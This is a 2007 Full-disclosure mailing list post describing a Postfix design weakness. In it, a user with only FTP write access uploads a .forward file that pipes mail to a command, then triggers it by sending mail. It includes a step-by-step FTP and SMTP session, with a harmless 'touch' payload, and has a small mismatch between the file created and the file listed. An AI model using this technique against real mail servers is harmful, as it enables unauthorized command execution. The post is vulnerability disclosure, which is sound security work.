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full-disclosure-uk: [Full-disclosure] Small Design Bug in Postfi

[Full-disclosure] Small Design Bug in Postfix - REMOTE

From: kcope <kingcope_at_nospam>
Date: Thu Dec 13 2007 - 20:18:54 GMT
To: full-disclosure@lists.grok.org.uk

Small Design Bug in Postfix - REMOTE

There's a small issue on how Postfix forwards mails. A user can have a .forward file in her home directory. Inside this file she can specifiy an alternative recipient or use aliasing to execute commands when mail is received.
>From the manpage ALIASES(5)

"aliases - Postfix local alias database format"

|command Mail is piped into command. Commands that contain special characters, such as whitespace, should be enclosed between double quotes. See local(8) for details of delivery to command. When the command fails, a limited amount of command output is mailed back to the sender. The file /usr/include/sysexits.h defines the expected exit status codes. For example, use "|exit 67" to simu- late a "user unknown" error, and "|exit 0" to implement an expensive black hole.

This is fine since postfix properly drops privileges before executing the command.
The Problem with executing commands via .forward files is that if someone manages to place a file into ones home directory and just sends a file to the mailserver she can execute commands even when she's not supposed to or does not have the privileges.

Here is an example exploitation session, the user 'rootkey' only has ftp access with write permissions and no other privileges than that.

Login to FTP server
>telnet box 21
>USER rootkey
>PASS rootkey123

<logged in

Put .forward file with following contents into the home directory of user 'rootkey'.

|touch /tmp/XXX

>put .forward

Now send an email to user rootkey.

>telnet box 25
>mail from: rootkey
>rcpt to: rootkey

RESULT: kcope@box:~$ ls /tmp/testXXX


  • -kcope/2007
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